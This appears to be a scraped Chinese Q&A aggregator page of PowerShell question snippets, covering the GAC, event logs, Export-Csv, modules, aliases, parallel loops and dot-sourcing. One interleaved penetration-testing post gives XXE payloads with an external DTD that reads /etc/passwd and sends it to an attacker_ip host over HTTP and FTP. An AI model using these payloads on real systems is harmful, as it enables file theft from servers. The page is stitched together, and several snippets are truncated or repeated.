powershell

Register DLL in GAC (CMD or PowerShell)

与世无争的帅哥 提交于 2021-02-18 16:59:30
问题 I'm trying to register a .DLL in the GAC . Currently I'm having trouble to prove it has been added to the assembly. Using the command C:\Windows\System32>%programfiles(x86)%\Microsoft SDKs\Windows\v7.0A\Bin\gacutil.exe -i "path\to\my\file.dll" The prompt tells me that the assembly has been added to the cache. When checking with C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin>gacutil.exe -l file.dll It says that there are 0 elements in the assembly. Via Powershell commands, I'm trying

渗透测试人员注意!这几个小TIPS能帮你

Deadly 提交于 2021-02-18 16:41:24
扫码领资料 获黑客教程 免费&进群 转乌云安全 这里 记录渗透测试中常见的小Tips。 关于XXE漏洞的一些总结 XXE Payload: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker_ip:port/xxe.dtd"> <foo>&e1;</foo> xxe.dtd: File Exfiltration over HTTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker_ip:port/res?%p1;'>"> %p2; File Exfiltration over FTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'ftp://attacker_ip:port/%p1;'>"> %p2; 利用工具: xxe-ftp-server.rb XXEinjector XXESERV – A mini webserver with FTP support for XXE payloads OXML_XXE – A tool for embedding XXE

Why is Get-WinEvent slower than Get-EventLog when getting events after a date?

做~自己de王妃 提交于 2021-02-18 13:57:46
问题 When retrieving events after a specific date Get-WinEvent seems to be slower than Get-EventLog: $SourceComputer = "MyServer" $LogName = "Security" $StartDate = (get-date).AddMinutes(-30) $hashquery = @{logname=$LogName; StartTime=$StartDate} (Measure-Command -Expression {Get-WinEvent -ComputerName $SourceComputer -FilterHashTable $hashquery}).TotalSeconds (Measure-Command -Expression {Get-EventLog -Computer $SourceComputer -LogName $Logname -After $StartDate}).TotalSeconds Output: Get

Difference between using and not using pipe in Export-Csv in Powershell

大城市里の小女人 提交于 2021-02-18 13:52:11
问题 This is probably more of a 'how does PowerShell handle variables and piping' rather than a specific programmatical question, but since it seems like strange behaviour (to me) I thought I'd post it here. I just had some difficulties exporting a variable to a CSV using PowerShell and found this Stack question that helped me a lot. However, when fiddling around with the output I got two different results depending on how I called the Export-CSV function. I have a custom PS object that looks

Difference between using and not using pipe in Export-Csv in Powershell

独自空忆成欢 提交于 2021-02-18 13:51:42
问题 This is probably more of a 'how does PowerShell handle variables and piping' rather than a specific programmatical question, but since it seems like strange behaviour (to me) I thought I'd post it here. I just had some difficulties exporting a variable to a CSV using PowerShell and found this Stack question that helped me a lot. However, when fiddling around with the output I got two different results depending on how I called the Export-CSV function. I have a custom PS object that looks

Commands from implicit remoting module not available when created from another module's function

感情迁移 提交于 2021-02-18 12:46:49
问题 I'm a beginner to advanced PowerShell techniques. I'm attempting to write my own PS module. Hopefully I can properly articulate my problem. Background: I've created a module of all of my commonly used functions, called MyTools . The PSM1 file simply dot sources other PS1 files in the same module folder. At the end of the module, I export the module members with Export-ModuleMember -Function * -Alias * -Cmdlet * . (I've also created a manifest, but I'm not sure that matters for my problem.)

Powershell: What's the difference between Alias and Function?

岁酱吖の 提交于 2021-02-18 07:04:30
问题 Im setting up my powershell profile to create aliases of commonly used commands. On Microsoft's documentation it says, if I want to make an alias for a command with parameters, I should make the value of the alias a Function that does that.. However, when I type the name of the function in the command line it works just as well as an alias. In other words, in the above picture, if I typed CD32 it would behave the same as if I typed Go in the command line So my question is: Why do I use

How to pass a custom function inside a ForEach-Object -Parallel

安稳与你 提交于 2021-02-18 06:27:29
问题 I can't find a way to pass the function. Just variables. Any ideas without putting the function inside the ForEach loop? function CustomFunction { Param ( $A ) Write-Host $A } $List = "Apple", "Banana", "Grape" $List | ForEach-Object -Parallel { Write-Host $using:CustomFunction $_ } 回答1: The solution isn't quite as straightforward as one would hope: function CustomFunction { Param ($A) "[$A]" } # Get the function's definition *as a string* $funcDef = $function:CustomFunction.ToString() "Apple

How to pass a custom function inside a ForEach-Object -Parallel

点点圈 提交于 2021-02-18 06:26:49
问题 I can't find a way to pass the function. Just variables. Any ideas without putting the function inside the ForEach loop? function CustomFunction { Param ( $A ) Write-Host $A } $List = "Apple", "Banana", "Grape" $List | ForEach-Object -Parallel { Write-Host $using:CustomFunction $_ } 回答1: The solution isn't quite as straightforward as one would hope: function CustomFunction { Param ($A) "[$A]" } # Get the function's definition *as a string* $funcDef = $function:CustomFunction.ToString() "Apple

What is the difference between dot (.) and ampersand (&) in PowerShell?

拜拜、爱过 提交于 2021-02-18 04:49:05
问题 In PowerShell, what is the difference between using dot ( . ) and ampersand ( & ) when invoking a cmdlet, function, script file, or operable program? For example: . foo.sh1 & foo.sh1 There is a very similar question which has been incorrectly closed as a duplicate: Differences between ampersand (&) and dot (.) while invoking a PowerShell scriptblock. The questions are different and have completely different keywords and search rankings. The answer on What is the `.` shorthand for in a